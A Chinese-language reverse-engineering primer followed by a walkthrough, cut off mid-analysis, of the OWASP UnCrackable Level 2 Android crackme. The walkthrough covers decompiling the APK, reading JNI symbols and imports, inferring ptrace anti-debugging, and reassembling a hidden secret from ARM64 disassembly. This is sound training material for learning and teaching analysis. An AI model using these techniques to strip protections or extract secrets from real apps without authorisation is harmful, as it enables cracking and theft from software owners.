**編譯後的食譜**,被人把所有標籤撕掉了,變成: > 「取 3 號櫃第 2 格的 200 克,加入 5 號罐,靜置 30 分鐘。」 **你還是能照著做**(位置、數量、順序都精確地在),但你不知道 3 號櫃第 2 格裝的是什麼、5 號罐裡調了什麼。 **注意這個比喻的重點**:撕掉標籤之後,剩下的資訊不是變模糊了,而是**變得精確但沒有意義**——機器需要的是「去哪裡拿」,人需要的是「那是什麼」。編譯丟掉的正是後者。 **這就是編譯後的程式**,動作全在、跑得起來,但所有幫助理解的標籤都被撕掉了。 而**逆向工程,就是拿著這本被撕掉標籤的食譜,靠著「動作和順序」反推出每個『那個』到底是什麼。** - 看到「靜置 30 分鐘」→ 猜這步是醃製 - 看到「加入 5 號罐之後顏色變褐」→ 猜 5 號罐是醬油 - 一步一步,把撕掉的標籤重新貼回去 **這就是逆向的全部**,剩下的都是細節。 --- ## 編譯到底丟掉了哪些「標籤」? 不只是名字,編譯這個「壓扁」的動作,丟掉的東西可以分成四層,由淺到深: 編譯丟掉的四層資訊 越往下越難重建,最底層無法唯一還原 ① 名字 userPassword → 堆疊上某一格 checkPassword → 某個位置 自己重新命名 ② 型別 同一串 bytes 是整數?文字?位置?機器碼裡沒有這個資訊 看用法反推 ③ 結構 if / while / for / switch → 大多變成「比較 + 條件跳轉」 從跳轉關係重建 ④ 意圖 註解、命名品味、「為什麼這樣設計」的理由 無法唯一還原 重建難度 逆向=重建 ①②③,然後靠它們去推測 ④ 同一份機器碼可以對應好幾種原始寫法與動機,光看產物分不出來 圖解 2:編譯丟掉的四層資訊。工具能幫你的主要在 ①②③,④ 永遠是人的工作。 下面我用你寫程式的經驗,一層一層對照: ### 第一層:名字(最容易理解的) `check_password` → 沒了,變成一個位置,`user_input` → 沒了,變成暫存器裡的一個值。 **逆向時你要做的**:幫每一段沒名字的東西,自己取一個名字。你會在工具裡把「位置 0x1120 那段」重新命名成 `check_password`,因為你看懂了它在幹嘛。 ### 第二層:型別(這層最反直覺) 你寫 `int age = 25;`,你知道它是整數。你寫 `float price = 25.0;`,你知道它是浮點數。**編譯器知道,因為你告訴它了。但編譯完之後,這個資訊沒有被寫進執行檔裡。** 為什麼?因為 CPU 不需要它,CPU 只需要知道「對這 4 個 bytes 做整數加法」還是「做浮點數加法」—— 而**這個資訊藏在「指令」裡,不在「資料」裡**。 具體一點。假設你在執行檔裡看到 4 個 bytes: ``` 68 65 20 66 ``` **這是什麼?** 可能性至少有四種: - 一個整數 - 一個小數 - 一個「指向別處的位置編號」 - **四個文字**(`h`、`e`、空格、`f`) 同一串 bytes,四種可能的身分 機器碼裡沒有型別資訊,只能從「它被怎麼用」去推 68 65 20 66 4 個 bytes,就這樣 一個整數 若拿去做加法運算 → 支持這個假設 一個小數 若拿去做浮點運算 → 支持這個假設 一個位置編號 若拿去「到那裡取東西」 → 支持這個假設 四個文字 h e ␣ f 最容易被人眼認出 為什麼「找字串」常常有效? 因為文字是這四種裡最容易一眼認出來的 一段連續的可列印 bytes,人掃過去就看得出來 —— 這正是 strings 的原理 型別不是「讀出來」的,是「推出來」的 —— 而且是「支持」不是「證明」 圖解 3:同一串 bytes 的多重身分。型別是編譯時丟掉的資訊,只能從使用方式反推。 **光看這 4 個 bytes,你分不出來**,它們就只是四個數字。 **那怎麼辦?看它被怎麼用。** 如果程式拿這 4 個 bytes 去做「加法運算」→ **支持**「它是數字」這個假設。 如果程式拿它去「一個字元一個字元跟另一段比較」→ **支持**「它是文字」。 如果程式拿它去「當作位置,去那裡取東西」→ **支持**「它是一個位置編號」。 注意用詞是「支持」不是「證明」。同一塊資料被用在多個地方、或被當成好幾種東西看待,都是真實會發生的事。**逆向裡的判斷幾乎都是「目前最合理的解釋」,不是鐵證。** > **這就是逆向最核心的動作之一:型別不是「讀出來」的,是「推出來」的。** **先講一個好消息**:文字(字串)是這裡面**最容易認出來**的一種,因為一段連續的、剛好都落在「可列印文字」範圍的 bytes,看起來就是一句話 —— 人眼一掃就認得出 `Please enter your password` 不是隨機數字。 **這就是為什麼有工具專門幫你把這種片段找出來**(後面會講到的 `strings`),也是為什麼「找字串」常常是逆向的第一招。 順帶說清楚這個工具在做什麼,免得你把它想得太神:**它就是掃過檔案,把「連續好幾個 byte 剛好都落在可列印範圍」的片段印出來**。它不理解檔案格式、也不管那段 bytes 原本是不是字串 —— 所以它會漏掉被拆開或編碼過的文字,也會撈出一堆剛好長得像文字的雜訊。**它是一個很粗但很便宜的篩子。** **難的是其他型別**:一個 4 bytes 到底是整數、小數、還是位置編號?一堆 bytes 排在一起是一個陣列、還是一個包含好幾個欄位的結構?**這些沒有工具能百分百告訴你,只能靠「它被怎麼用」去推。** ### 第三層:結構(你的 if 和 while 都不見了) 你寫的 `if`、`while`、`for`、`switch`,編譯後**全部變成同一種東西**:「比較,然後跳」。 ``` 你寫的 編譯後 ────────────────────────────────── if (x > 5) {...} → 比較 x 和 5,如果不大於就跳過下面 while (x < 10) {...} → 比較 x 和 10,如果小於就跳回上面 ``` **看到沒有?在常見、未經大幅最佳化的形態裡,`if` 和 `while` 經常都變成「比較 + 條件跳轉」**,差別在跳的方向。 **但跳轉方向本身不是可靠的判定規則** —— 編譯器會做迴圈旋轉、把判斷搬到底部、把區塊重新排序,跳的方向未必對應你直覺中的結構。它是線索,不是定則。 **但這也只是最常見的形態,不是唯一的。** `switch` 如果分支很多,編譯器可能改用一張「跳轉表」(查表決定跳去哪),長得完全不像一串比較;很短的 `if` 也可能被換成「不跳,直接兩個值選一個」的指令。最佳化開得越強,變形越多。 **逆向時你要做的**:從實際的跳轉關係,重建出原本的控制流長什麼樣。 ### 第四層:意圖(這層永遠回不來) 你寫的註解、你取的好名字、你腦子裡「為什麼這樣設計」的理由 —— 這些編譯後**無法唯一還原**,同一份機器碼可以對應到好幾種不同的原始寫法和動機,光看產物分不出來。 **這一層是逆向真正的難處,也是機器幫不了你的地方**,前三層工具可以幫你猜個七八成,但「這段程式為什麼要這樣寫、作者在想什麼」,只能靠你自己的經驗和推理。 --- ## 所以,逆向工程的定義是這樣 把上面整合起來: > **編譯是一個「有損壓縮」的過程 —— 它把你寫的、充滿名字和結構的原始碼,壓成一堆只有位置和動作的機器碼,過程中丟掉了名字、型別、結構、意圖。** > > **逆向工程,就是在缺少原始碼的情況下,靠著「還留著的東西」,把「被丟掉的東西」盡量重建出來。** 「有損壓縮」這個詞很精準。就像 JPEG 把照片壓小、丟掉一些細節,你放大回去永遠回不到原本的畫質 —— 編譯也是。 **你逆向出來的東西,永遠不會跟原始碼一模一樣**(名字是你自己取的、結構是你自己重建的),而且更誠實的說法是:**你建立的是一個「足以解釋你所觀察到的行為」的模型**,不是原始碼的複製品,這個模型可能在你還沒觀察到的情況下就失準 —— 所以逆向的結論永遠要留一句「就目前看到的而言」。 --- ## 那為什麼有「留下來」的東西可以利用? 你可能會問:如果編譯把名字都丟了,那逆向不是無從下手嗎? **關鍵來了 —— 不是所有東西都能丟。** 有一條鐵律: > **凡是「程式跑起來時,得由外面提供」的東西,相關的線索就不容易被清乾淨** —— 因為清掉了,就沒人找得到該去哪裡拿。 舉幾個例子: **如果程式是用一般的「動態連結」方式打包的,那它向外部函式庫要的功能名稱,經常會留下來。** 舉例:你的程式要「比較兩個字串」,用了一個叫 `strcmp` 的現成函式,這個函式的程式碼不在你的執行檔裡,而是在系統的共用函式庫裡 —— 所以**程式跑起來的時候,得有人幫它找到 `strcmp` 在哪**,負責這件事的元件(載入器)需要名字才能找,因此這個名字通常會被保留下來。 **這讓「程式向外要了哪些功能」成為一份很好用的清單**,它會洩漏大量資訊: - 要了 `strcmp` / `strncmp`(字串比較)→ **優先懷疑**這程式裡有「比對」,可能在驗證什麼 - 要了跟「加密」有關的功能 → **優先懷疑**有加密,秘密可能被藏起來了 - 要了跟「網路」有關的功能 → **優先懷疑**它會連網,去看它連去哪 - 要了跟「反調試」有關的功能 → **優先懷疑**它在防著別人分析 **光看這份清單,你還沒讀任何一行程式,就已經能猜出這個程式大概在幹嘛了**,這是逆向裡投報率最高的一招。 **但要注意它的邊界** —— 這份清單只涵蓋「執行時才去跟外面要」的功能,有些東西不會出現在上面: - 程式**把功能直接打包進自己身體裡**(叫做靜態連結) - 編譯器把小功能**直接展開嵌進程式碼裡** - 程式**自己重寫一份**,不跟系統借 - 程式**執行時才臨時去借** 所以正確的說法是:**這份清單是「建立假設的起點」,不是「能力的完整清冊」。** 看到 `strcmp` 就大膽假設有字串比對;但**沒看到加密相關的功能,不能就此斷定它沒有加密**。這個分寸很重要,後面的文章會反覆提到。 --- ## 「找字串」為什麼常常有用? 如果你玩過一點逆向,或看過別人玩,你會發現一個常見的第一步:**跑一個叫 `strings` 的工具,在掃描範圍內找出連續的可列印 bytes。** 為什麼這招常常有效? 因為**很多秘密就是明文字串**,而字串(跟名字不一樣)**經常會被留在程式裡**,因為程式執行時要用到它們(顯示訊息、比對密碼、連線網址)。 所以「跑 strings 找字串」不是偷懶,**它是投報率最高的第一步**,你該先試。 但它會在三種情況失效,而理解這三種失效,正好幫你看清「逆向的難度階梯」: strings 是一個很粗、但很便宜的篩子 它只找「連續的可列印 bytes」,不理解檔案格式 檔案裡的東西 明文字串 被切碎的字串 加密過的資料 純數值 / 指令 strings 連續可列印 bytes? 不理解格式 不管原本是啥 撈得到 ✓ 明文字串、看起來像文字的雜訊 漏掉 ✗ 被切碎的(只給你半句話) 被加密/編碼的(一堆亂碼) 秘密根本不是字串的情況 每一種「漏掉」,都在告訴你該換一個視角看了: 半句話 → 去看指令,把尾巴撿回來 一堆亂碼 → 去讀它怎麼解密 什麼都沒有 → 秘密可能是演算法本身,得完整重建邏輯 圖解 4:strings 的能與不能。它是逆向的第一招,也是難度階梯的第一階。 **① 字串被拆碎藏起來** —— 有時候編譯器或作者會把一個字串切成好幾段,`strings` 只撈得到其中一段。你會看到半句話。 **這時你被迫往下一層走**:去看程式的實際指令,把碎片拼回來。 **② 字串被加密了** —— 秘密不是明文放著,是加密後藏起來,程式執行時才解密。`strings` 什麼都撈不到,只有一堆亂碼,**這時你要做的更多**:看懂它怎麼解密,然後自己重跑一次解密。 **③ 秘密根本不是字串** —— 有時候秘密是一個「演算法」,比如「怎麼判斷一組序號是否合法」,這沒有任何字串可撈,秘密藏在計算邏輯裡。 **這時你要完整重建那個演算法。** 這是最難的一階,也是真正的逆向功力所在。 > **所以「我只會跑 strings 找字串」不是能力不足,是你還沒遇到需要往上爬的題目。** 而知道「上面那幾階是什麼」,就是這篇文章想給你的地圖。 --- ## 為什麼需要那一堆工具?(一句話版本) `strings`、`objdump`、`Ghidra`、`radare2`、`gdb`…… 為什麼這麼多?剛入門看到會頭暈。 **因為它們在回答不同的問題**,一旦你用「這個工具回答什麼問題」來分類,混亂就消失了,我先給你最粗的分法,細節留到方法篇: **「這個程式對外宣告/索取了什麼?」** —— 用 `nm`、`readelf` 這類看符號與 metadata 的工具,**不用讀程式碼就有大量情報**,該最先做。 **「檔案裡有沒有看起來像文字的東西?」** —— 用 `strings`,注意它跟上面那類不同:**它不理解檔案格式,只是掃過去找連續的可列印 bytes**,粗、但極便宜。 **「這段程式的實際指令是什麼?」** —— 用「反組譯」工具(像 `objdump`),它把那堆 0 和 1 翻譯成 CPU 指令,**這是最接近原始證據的一層**(真正一〇〇% 不帶解讀的其實是那堆 bytes 本身,但人類讀不動),讀起來最硬,但也最不容易被誤導。 **「這段邏輯用人話講是什麼?」** —— 用「反編譯」工具(像 `Ghidra`),它會把那些硬邦邦的指令,**盡量還原成類似 C 語言的樣子**,好讀很多,但注意它是「盡量還原」,是猜的,**有時候會猜錯**。 **「這程式跑起來實際會怎樣?」** —— 用「動態分析」工具(像 `gdb`、Frida)。前面三種都是「不執行程式、光看」,這種是「讓程式真的跑,中途攔截觀察」。 一個很重要的取捨原則,先記著: > **越原始的工具越可靠(但難讀),越高階的工具越好讀(但可能騙你)。** > > 所以老手的做法是:用高階工具(Ghidra)快速看懂大方向,遇到讀起來怪怪的地方,**回去用低階工具(objdump)驗證**,因為越低階的工具,加進去的猜測越少。 --- ## 一張圖總結:逆向在幹嘛 ``` 你寫原始碼 有名字、有型別、有結構、有意圖 │ │ 編譯(有損壓縮,丟掉標籤) ▼ 執行檔 只剩位置、動作、和「仍留下的線索」 │ │ 逆向(靠仍留下的線索,反推被丟掉的) ▼ 你重建的理解 自己取的名字、推出的型別、重建的結構 (足以解釋已觀察的行為, 但不一定與原始碼完整等價) ``` **逆向不是魔法,是考古**,你面對的是一個被撕掉標籤的成品,靠著還留著的線索(動作、順序、跟系統借用的功能、沒被藏起來的字串),一片一片把原本的意義拼回來。 --- ## 你現在該有的心態 如果你是完全沒碰過逆向的人,讀完這篇,你該帶走的**不是任何一個工具指令**,而是這三個觀念: 1. **編譯會丟東西,逆向就是把丟掉的撿回來**,名字、型別、結構被丟了,但功能還在。 2. **有些東西不容易丟掉,那些就是你的線索**,跟系統借用的功能清單、明文字串、程式的動作順序 —— 但記得它們是「起點」不是「全貌」。 3. **工具沒有高下,只有分工。** 看清單、看指令、看人話版、看執行時 —— 各自回答不同問題。 有了這三個觀念,你再去看任何一篇「滿是十六進位和 `mov` 的逆向文章」,都不會再覺得是天書 —— 你會知道那個人**只是在把撕掉的標籤貼回去**而已。 --- ## 下一篇:方法篇 有了這篇的觀念地基,方法篇,會帶你真的碰一次組語,你會親眼看到: - 一個「變數」在底層到底長什麼樣(全域變數、參數、區域變數、常數,四種完全不同) - 為什麼有時候 `strings` 只能撈到「半句話」(真實案例) - `objdump`、`radare2`、`Ghidra` 到底怎麼選、什麼時候用哪個 - 一套「拿到陌生程式時的分析起手式」 到時候你會發現,因為有這篇打底,那些組語看起來一點都不可怕了。 --- *本文為逆向工程入門筆記,寫給想入門但被組語勸退的人,有錯歡迎指正。* ### OWASP MAS Crackmes — Android UnCrackable L2 URL: https://taiwanding.com/owasp-mas-crackmes-android-uncrackable-l2/ Last updated: 2026-08-10T11:09:59.000Z 📚 系列文章 · OWASP MAS Crackmes · Android UnCrackable 1. [Level 1 — 反編譯 APK 取出 secret string (Easy)](https://taiwanding.com/owasp-mas-crackmes-android-uncrackable-l1/) 2. ▸ Level 2 — native 函式庫與 ptrace 反除錯 (Medium) (本篇) ## 題目資訊 - **平台**: OWASP MASTG(Mobile Application Security Testing Guide) - **關卡名稱**: Android UnCrackable Level 2(MASTG-APP-0004) - **難度**: Medium - **目標**: app 裡藏了一段 secret string,想辦法把它挖出來 - **連結**: https://mas.owasp.org/MASTG/apps/android/MASTG-APP-0004/ - **環境**: WSL2 Kali Linux [MAS Crackmes - OWASP Mobile Application Security![](https://taiwanding.com/content/images/icon/logo_circle-1.png)logo![](https://taiwanding.com/content/images/thumbnail/uncrackable-logo-1.png)](https://mas.owasp.org/crackmes/?ref=taiwanding.com) L1 的秘密是 AES 加密後藏起來,要自己重跑解密才拿得到,L2 的秘密**根本沒加密**——它只是搬到 native 層,然後被**編譯器切成兩半**藏在不同地方。 從密碼學角度 L2 比 L1 弱,但從逆向工序角度 L2 更費工,**「難度」跟「安全性」是兩回事**,這個對比是這關最值得帶走的觀念之一。 這篇的重點不是答案,是「面對一顆 stripped 的 .so,怎麼知道要拆哪一塊」——因為這才是真實逆向裡最難的部分。 ## Step 1: 拆結構,看差異 ```bash mkdir -p ~/mas/uncrackable-l2 && cd ~/mas/uncrackable-l2 curl -Lo UnCrackable-Level2.apk \ https://github.com/OWASP/mastg/raw/master/Crackmes/Android/Level_02/UnCrackable-Level2.apk unzip -l UnCrackable-Level2.apk ``` 414 個檔案、1.4MB。跟 L1 的 13 個檔案、66KB 天差地別,但**不要慌,先跟已知樣本比對**——手上有 L1 當基準線,差異處就是重點。 用 L1 建立的同一張五問清單: - **② `classes.dex`** → 從 L1 的 5.5KB 暴增到 **720KB**,但別被嚇到,**要看「變大的是誰」**——後面會證明這 720KB 幾乎全是 `android.support` 撐起來的,作者的 Java code 跟 L1 差不多少。 - **③ `META-INF/MANIFEST.MF`** → 從 1KB 爆到 **50KB**,這是 v1 簽章對每個檔案算 digest 的清單,塞了整套 support library 才這麼大,**對逆向零價值,認得它、視而不見。** **① 有沒有 `lib/`?** → **有,這次是重頭戲。** ``` lib/arm64-v8a/libfoo.so 14176 lib/armeabi-v7a/libfoo.so 13948 lib/x86/libfoo.so 13788 lib/x86_64/libfoo.so 14440 ``` 四個架構各一份(同一份 code 編給不同 CPU),檔名 `libfoo`——`foo` 是工程師的萬用佔位名,代表**作者自己寫的**,不是知名 library,自己寫的 native code + crackme = 關鍵邏輯八成在裡面。四個檔都才 14KB 上下,**讀得完**。 > 順帶釐清一個容易搞混的地方:`AndroidManifest.xml`(app 的門牌,主線,要讀)和 `META-INF/MANIFEST.MF`(簽章清單,雜訊,跳過)是完全不同的兩個東西。 ## Step 2: 從 300 多個 class 收斂到 4 個 ```bash jadx -d "$PWD/out" "$PWD/UnCrackable-Level2.apk" find out/sources -name '*.java' | wc -l # 300+ ``` 300 多個 Java 檔,新手看到會慌,老手三秒篩完,方法是**反向過濾——不是找主線,是先把已知的雜訊全部劃掉**: ```bash find out/sources -name '*.java' | grep -v -E 'android/(support|arch|annotation)/' ``` ``` out/sources/owasp/mstg/uncrackable2/R.java ← 自動產生,跳過 out/sources/sg/vantagepoint/uncrackable2/CodeCheck.java ← 新面孔!L1 沒有 out/sources/sg/vantagepoint/uncrackable2/MainActivity.java out/sources/sg/vantagepoint/a/a.java out/sources/sg/vantagepoint/a/b.java ``` **從 300 砍到 4**, `android.support`、`android.arch` 是 Google 的相容套件,不太可能藏秘密——跟 L1 的 `R.java` 同理。 **認得雜訊的長相,是 recon 最省時間的技能。** 比對 L1 的結構,差異立刻浮出來:作者沿用了 `sg/vantagepoint/a/` 的骨架,但**多了一個 `CodeCheck`**,這個新面孔就是重點。 ## Step 3: 讀 MainActivity,找 Java 通往 native 的門 ```java public class MainActivity extends c { private CodeCheck m; static { System.loadLibrary("foo"); } // ← ① private native void init(); // ← ② protected void onCreate(Bundle bundle) { init(); // 開機第一件事 if (b.a() || b.b() || b.c()) { a("Root detected!"); } if (a.a(getApplicationContext())) { a("App is debuggable!"); } new AsyncTask() { // ← ③ 新增的第三道 public String doInBackground(Void... v) { while (!Debug.isDebuggerConnected()) { SystemClock.sleep(100L); } return null; } public void onPostExecute(String s) { a("Debugger detected!"); } }.execute(null, null, null); this.m = new CodeCheck(); ... } public void verify(View view) { String string = ...getText().toString(); if (this.m.a(string)) { /* Success! */ } // ← ④ } } ``` 四個關鍵發現: **① `System.loadLibrary("foo")` 在 `static {}` 區塊裡**——class 載入時最先執行,代表 `libfoo.so` 在 app 一啟動就進記憶體了,證實了 `lib/` 那四個檔真的被使用。 **② `private native void init()`**——有宣告、沒身體,實作在 `.so` 裡,而且 `onCreate` 第一行就呼叫它,**先掛號:它在 native 幹嘛?** **③ 防禦從 L1 的兩道升級成三道**,第三道是新的:開背景執行緒,**每 100ms 輪詢一次有沒有 debugger 接上來**。 但關鍵判斷跟 L1 一樣:**這三道擋的是哪條路?全部都是 runtime 才觸發的**,走純靜態(只讀檔、不執行),一道都不會遇到,標記為「動態分析才需要處理」,靜態路線直接無視。 **④ `verify()` 呼叫 `this.m.a()`**,而 `this.m` 是 `CodeCheck`。資料流下一站確定。 ## Step 4: CodeCheck——Java 層的終點 ```java public class CodeCheck { private native boolean bar(byte[] bArr); public boolean a(String str) { return bar(str.getBytes()); } } ``` 五行,Java 層的路到此為止。 `a()` 沒有做任何驗證,只是把 String 轉成 `byte[]` **整包丟給 `bar()`**,而 `bar` 是 native。 **完整資料流畫完:** ``` 使用者按鈕 → MainActivity.verify() → CodeCheck.a(string) → CodeCheck.bar(byte[]) ══╗ ║ Java 邊界 init() ═════════════════════════════════════════════════════════════════════════════╣ ▼ libfoo.so ``` **兩個 native 入口都掛號了。** ## Step 5: 定位 native 座標 不能拿著「`bar`」三個字去 `.so` 裡搜,**JNI 有自己的命名規則**: ``` Java__<類別名>_<方法名> ``` 所以 `sg.vantagepoint.uncrackable2.CodeCheck.bar` 在 `.so` 裡應該是 `Java_sg_vantagepoint_uncrackable2_CodeCheck_bar`。 **但先要確認綁定方式**,JNI 有兩種:**靜態註冊**(靠命名慣例自動配對,符號表找得到)和**動態註冊**(`RegisterNatives`,開發者可以把任意名字的函式綁到 `bar` 上,符號表就找不到了),那個開機就跑的 `init()` 很適合用來動這種手腳。 驗證: ```bash unzip -o UnCrackable-Level2.apk 'lib/*' -d extracted file extracted/lib/arm64-v8a/libfoo.so nm -D --defined-only extracted/lib/arm64-v8a/libfoo.so ``` ``` ELF 64-bit LSB shared object, ARM aarch64, for Android 21, built by NDK r18b, stripped 0000000000000dac T Java_sg_vantagepoint_uncrackable2_CodeCheck_bar 0000000000000d8c T Java_sg_vantagepoint_uncrackable2_MainActivity_init ``` **靜態註冊,沒有 `JNI_OnLoad`,動態註冊那條岔路不存在。** **選架構的理由**:WSL2 是 x86\_64,但純靜態讀組語選 **arm64-v8a** 更好——ARM64 指令固定 4 bytes、暫存器規則清楚,比 x86\_64 乾淨得多。 **位址透露的額外情報**:`init` 在 `0xd8c`、`bar` 在 `0xdac`,差 `0x20` \= 32 bytes。ARM64 指令固定 4 bytes,**32 bytes = 最多 8 條指令**,八條指令做不了什麼有意義的事 → `init` 是個 stub,可能只是設個開關,**在讀它之前就能做這個判斷。** ### 關於 stripped `file` 說 `stripped`——`.symtab`(靜態符號表)被砍了,但 `nm -D` 讀的是 `.dynsym`(動態符號表),**那個不能砍**。 為什麼不能砍?因為 JVM 執行時要用 `dlsym()` 按名字找 `Java_..._bar`,**名字被砍,JVM 找不到,app 直接崩。** > **這條原則值得刻進腦子裡:strip 有一個下限,而那個下限剛好就是攻擊面。凡是外界必須呼叫得到的東西,就必須留著名字。** 實務影響:`objdump -d` 標函式名靠 `.symtab`,所以反組譯輸出裡**沒有 `:` 標籤可以 grep**。解法是**用位址找**: ```bash aarch64-linux-gnu-objdump -d --start-address=0xdac --stop-address=0xe98 \ extracted/lib/arm64-v8a/libfoo.so ``` **名字是標籤,位址是東西本身。標籤沒了,東西還在。** ## Step 6: 讀 import table——這一步決定了後面所有動作 在讀任何一行組語之前,先看這個: ```bash nm -D --undefined-only extracted/lib/arm64-v8a/libfoo.so ``` ``` U __cxa_atexit@LIBC ← C++ runtime,劃掉 U __cxa_finalize@LIBC ← C++ runtime,劃掉 U __stack_chk_fail@LIBC ← 編譯器插的 canary,劃掉 U _exit@LIBC U fork@LIBC U getppid@LIBC U pthread_create@LIBC U pthread_exit@LIBC U ptrace@LIBC U strncmp@LIBC U waitpid@LIBC ``` **這是這個 `.so` 向 libc 借用的函式清單,也是整篇文章最重要的一節。** **為什麼它是金礦?** 同樣的「藏不住」原理:一個 `.so` 可以把 code 混淆到你看不懂,**但它不能隱藏「需要向系統借哪些功能」**——因為動態連結器要靠這份清單去解析位址,**它必須誠實申報。** 劃掉三個編譯器帶進來的,剩下八個,**而這八個自己會分成兩堆:** ### 第一群(七個):`fork` `ptrace` `waitpid` `getppid` `pthread_create` `pthread_exit` `_exit` 單看每個都很普通,湊在一起只有一種解釋,推理鏈從最不起眼的 `getppid` 開始: **一個程式為什麼要問「我的父行程是誰」?** 正常程式幾乎不需要,會需要的情境只有一種:**它剛 `fork` 過,現在跑在子行程裡,要對父行程做某件事。** 對父行程做什麼?下一個線索:`ptrace`。 **子行程 ptrace 自己的父行程——這就是 fork-ptrace 反調試。** 原理:**Linux 上一個行程同時只能有一個 tracer**, app 自己 fork 出小孩、小孩回頭 attach 到爸爸身上,**唯一的 ptrace 名額就被自家人佔走**,外面的 gdb、lldb 想 attach?系統回 `EPERM`,位子有人坐了。 `waitpid` 補完最後一塊:watchdog,有人想把佔位的子行程殺掉來釋放名額?另一邊立刻察覺,`_exit` 收工。`pthread_create` 說明這套跑在背景執行緒,不阻塞主流程。 ### 第二群(一個):`strncmp` **這一個符號把整關的形態定死了**,三個角度: **① 它是「比較」不是「運算」**, `strncmp` 逐 byte 比對,不轉換、不衍生、不計算。 **② 沒有任何加密函式——這是反向證據,跟看到什麼一樣重要**,沒有 `AES`、沒有 `EVP_*`、沒有 `MD5`、沒有 `SHA`,一個都沒有,而且整個 `.so` 才 14KB、`bar` 才 236 bytes,**塞不下一套自己實作的 AES**。 > **這就是 L1 和 L2 的分水嶺,而且在讀組語之前就能斷定**:L1 有 `Cipher`、有 AES,秘密是「算出來的」;L2 只有 `strncmp`,秘密必然是\*\*「明文躺在檔案裡」\*\*。 **③ 是 `strncmp` 不是 `strcmp`——那個 `n` 有意義**, `strcmp` 比到 `\0`,`strncmp` 比固定長度。作者選了帶長度的版本,代表**程式裡有一個寫死的長度常數**,暗示比對前很可能先檢查長度。 ### 完全沒讀組語,就能寫出行為草稿 ``` init() ← 32 bytes,太小,是 stub └─ 啟動 fork/ptrace/waitpid 反調試 └─ 可能設個開關 bar(byte[]) ← 236 bytes,驗證主體 └─ 從 JNI 取出輸入的 byte[] └─ 檢查長度(因為用 strncmp,有固定 n) └─ strncmp(輸入, 明文常數, n) └─ 回傳比對結果 秘密:明文,就在這個檔案裡 ``` **而「明文就在檔案裡」直接推出下一個動作:去 `.rodata` 找。** ## Step 7: 三秒短路,與一個殘缺的線索 ```bash strings -a extracted/lib/arm64-v8a/libfoo.so | grep -i thanks ``` ``` Thanks for all t ``` **停在這裡想三秒**,**這句話是不完整的。** 一般人看到 `strings` 吐出半句話會覺得「撈到垃圾」然後丟掉,但逆向的正確反應是:**一句讀起來像人話卻突然斷掉的字串,代表它的尾巴在別的地方。** 而且我們已經從 import table 知道**這一定是明文比對**,所以這個殘缺不可能是「秘密就長這樣」,只能是「其餘部分不在 `.rodata`」。 驗證: ```bash aarch64-linux-gnu-objdump -s -j .rodata extracted/lib/arm64-v8a/libfoo.so ``` ``` Contents of section .rodata: 0ea0 5468616e 6b732066 6f722061 6c6c2074 Thanks for all t ``` **整個 `.rodata` 段就 16 bytes,一個 byte 不多不少。** 三個獨立的訊號指向同一個結論: - **`.rodata` 異常地小**,正常程式的 `.rodata` 住著錯誤訊息、格式字串、常數表,小到只剩半句話代表**其他東西不在那裡**,「該有東西的地方沒東西」跟「不該有東西的地方有東西」,同樣是訊號。 - **16 這個數字會亮燈**,SIMD 暫存器寬度、AES block size、常見對齊邊界。一句英文剛好斷在第 16 個字元,不是巧合,是**機器邊界**。 - **英文文法**,`for all` 後面接的 `t` 顯然是 `the` 的開頭,別小看這種非技術判斷,真實逆向裡它常常是最快的線索。 **剩下的唯一去處:code 裡的立即數。** ## Step 8: 拆 bar()——逐段核對草稿 ```bash aarch64-linux-gnu-objdump -d --start-address=0xdac --stop-address=0xe98 \ extracted/lib/arm64-v8a/libfoo.so ``` ### ① 序幕(0xdac–0xdd4) ```asm dac: sub sp, sp, #0x50 ; 開 80 bytes 堆疊 dc0: mrs x22, tpidr_el0 ; 讀 thread pointer dc4: ldr x8, [x22, #40] ; 取 stack guard dc8: mov x19, x2 ; x2 = jbyteArray(第三參數) dcc: mov x20, x0 ; x0 = JNIEnv*(第一參數) dd0: mov w0, wzr ; 回傳值預設 = 0 (false) dd4: str x8, [sp, #24] ; canary 放進堆疊 ``` **JNI 的 ABI 知識**:JNI 函式參數順序固定是 `(JNIEnv* env, jobject thiz, ...實際參數)`。所以 `x0`\=env、`x1`\=this、`x2`\=第一個真參數。 **`mov w0, wzr`——預設拒絕**,先假設失敗,走完所有檢查才改成 1,安全上這是對的設計。 ### ② 旗閘(0xdd8–0xde4)——證實草稿的「可能設個開關」 ```asm dd8: adrp x8, 13000 ; .data 段基底 ddc: ldrb w8, [x8, #12] ; w8 = *(0x1300c) de0: cmp w8, #0x1 de4: b.ne e68 ; ≠1 → 直接 return false ``` **`bar` 一進來就讀一個全域 byte,不是 1 就直接回 false,連比對都不做。** `adrp` 值得懂:ARM64 沒辦法一條指令載入 64 位元位址,`adrp` 先算 4KB 對齊的頁基底,再用偏移補齊,看到 `adrp` \+ `ldrb #12` 就讀作「存取全域變數 `0x1300c`」。 **設計意圖**:確保 `bar` 只在正常啟動流程(`onCreate` → `init`)跑過之後才工作,有人想跳過初始化直接呼叫 `bar`(例如用 Frida 硬叫),旗標是 0,`bar` 直接擺爛。 **但對純靜態毫無影響**——我們根本沒執行任何程式碼。 ### ③ 拼字串(0xde8–0xe14)——整關的心臟 ```asm de8: adrp x8, 0 dec: ldr q0, [x8, #3744] ; 3744 = 0xea0,載入 .rodata 的 16 bytes df0: mov w8, #0x6568 df4: movk w8, #0x6620, lsl #16 ; w8 = 0x66206568 df8: mov w9, #0x7369 dfc: mov w10, #0x68 e00: stp xzr, xzr, [sp] ; 清零 e04: str xzr, [sp, #16] e08: str q0, [sp] ; [sp+0 ..15] = "Thanks for all t" e0c: str w8, [sp, #16] ; [sp+16..19] = "he f" e10: strh w9, [sp, #20] ; [sp+20..21] = "is" e14: strb w10, [sp, #22] ; [sp+22] = "h" ``` **`q0` 是 128-bit SIMD 暫存器,一條指令搬 16 bytes**——這就是「為什麼剛好斷在 16」的答案。 **`movk` 要懂**:ARM64 的 `mov` 一次只能塞 16 bits 立即數,組出 32 bits 要兩條——`mov` 塞低位、`movk`(move keep,保留其他位元)塞高位。 **解碼(小端序,低位元組在記憶體的前面):** | 暫存器 | 值 | 記憶體 bytes | ASCII | | --- | ---------- | ----------- | ----- | | w8 | 0x66206568 | 68 65 20 66 | he f | | w9 | 0x7369 | 69 73 | is | | w10 | 0x68 | 68 | h | **注意那個尺寸階梯:`str`(4B) → `strh`(2B) → `strb`(1B)。** 7 bytes 拆成 4+2+1,這是把任意長度用 2 的次方拼起來的標準做法。 堆疊上的結果: ``` [sp+0 .. +15] "Thanks for all t" ← .rodata [sp+16.. +19] "he f" ← 立即數 [sp+20.. 